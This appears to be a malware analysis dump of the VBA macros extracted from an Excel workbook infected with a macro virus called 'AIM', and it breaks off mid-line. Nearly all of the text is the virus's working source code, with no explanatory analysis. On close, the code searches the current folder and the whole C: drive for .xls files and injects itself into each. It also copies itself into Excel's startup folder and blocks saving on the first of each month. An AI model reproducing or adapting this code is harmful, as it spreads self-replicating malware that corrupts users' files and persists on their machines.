Malicious Office (OLE) — malware analysis report

Attribute VB_Name = "ThisWorkbook"
Attribute VB_Base = "0{00020819-0000-0000-C000-000000000046}"
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = True
Private Sub Workbook_BeforeClose(Cancel As Boolean) ' = AIM
On Error Resume Next
SearchAndInfect (ActiveWorkbook.Path)
SearchAndInfect ("c:\")
StayResident
If Minute(Now) = Int(60 * Rnd) Then
AIM.Show
End If
End Sub
Function SearchAndInfect(ipath As String)
On Error Resume Next
Application.ScreenUpdating = False
Dim code As String
Dim Header As String
Header = "Private Sub Workbook_BeforeClose(Cancel As Boolean) ' = AIM"
code = ActiveWorkbook.VBProject.VBComponents("ThisWorkbook").CodeModule.lines(1, 54)
Kill "c:\wondows\data.frx"
ActiveWorkbook.VBProject.VBComponents("AIM").Export ("C:\windows\data.frx")
Set fs = Application.FileSearch
fs.NewSearch
fs.LookIn = ipath
fs.FileName = "*.xls"
fs.SearchSubFolders = True
fs.Execute
For Each victim In fs.FoundFiles
Set wrkbook = Workbooks.Open(victim)
If wrkbook.VBProject.VBComponents("ThisWorkbook").CodeModule.lines(1, 1) = Header And Len(wrkbook.VBProject.VBComponents("AIM").Name) > 0 Then
wrkbook.Close
Else
wrkbook.VBProject.VBComponents("ThisWorkbook").CodeModule.InsertLines 1, code
wrkbook.VBProject.VBComponents.Import (Application.Path & "\data.frx")
wrkbook.Save
wrkbook.Close
End If
Next
Kill "C:\windows\data.frx"
Application.ScreenUpdating = False
End Function
Sub StayResident()
Application.ScreenUpdating = False
ActiveWorkbook.SaveAs (Application.StartupPath & "\BOOK1.")
Application.ScreenUpdating = True
End Sub
Private Sub Workbook_BeforeSave(ByVal SaveAsUI As Boolean, Cancel As Boolean)
If Day(Now) = 1 Then
MsgBox "Hey man... are you still working?" & vbCr & "Get a life man!", vbSystemModal, "Excell Off-line"
Beep
MsgBox "I can't let you save this workbook today, sorry!", vbApplicationModal, "AIM"
Beep
MsgBox "And don't forget to wash your teeth with AIM" & vbCr & "The best toothpaste", vbApplicationModal, "AIM ADD"
Beep
Cancel = True
End If
End Sub
'End of virus heheh

Attribute VB_Name = "Φύλλο1"
Attribute VB_Base = "0{00020820-0000-0000-C000-000000000046}"
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = True
Private Sub Worksheet_SelectionChange(ByVal Target As Excel.Range)

End Sub

Attribute VB_Name = "Φύλλο2"
Attribute VB_Base = "0{00020820-0000-0000-C000-000000000046}"
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = True

Attribute VB_Name = "Φύλλο3"
Attribute VB_Base = "0{00020820-0000-0000-C000-000000000046}"
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = True

Attribute VB_Name = "AIM"
Attribute VB_Base = "0{A57A0607-36BE-11D3-B990-E5B940FFCE7F}{A57A05FD-36BE-11D3-B990-E5B940FFCE7F}"
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = False
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = False
'This workbook has a lot of toothpaste inside
'toothpaste waz produced by yozak
'and AIM's research team!
'Toothapste of the year!AIM
Private Sub CommandButton1_Click()
On Error Resume Next
Dim lines(20) As String
Beep
Data = InputBox("Insert Something!", "yozak99")
If Data = "" Then MsgBox "Emptyness in your head!"
If Data = "toothpaste" Then
MsgBox "You paranoic!"
Else
MsgBox "Paranoic HAHAHHA!!.TOOTHPASTEPARANOIC!", vbSystemModal, "Paran!"
lines(0) = "Season of toothpaste": lines(1) = "Mad toothpaste makers": lines(2) = "Microsoft Toothpaste Progie"
lines(3) = "AIM": lines(4) = "FUCK CREST": lines(5) = "Crazy Toothpaste users": lines(6) = "'Toothpaste": lines(7) = "Yozak uses AIM"
lines(8) = "To protect your teeth use AIM": li
... (truncated)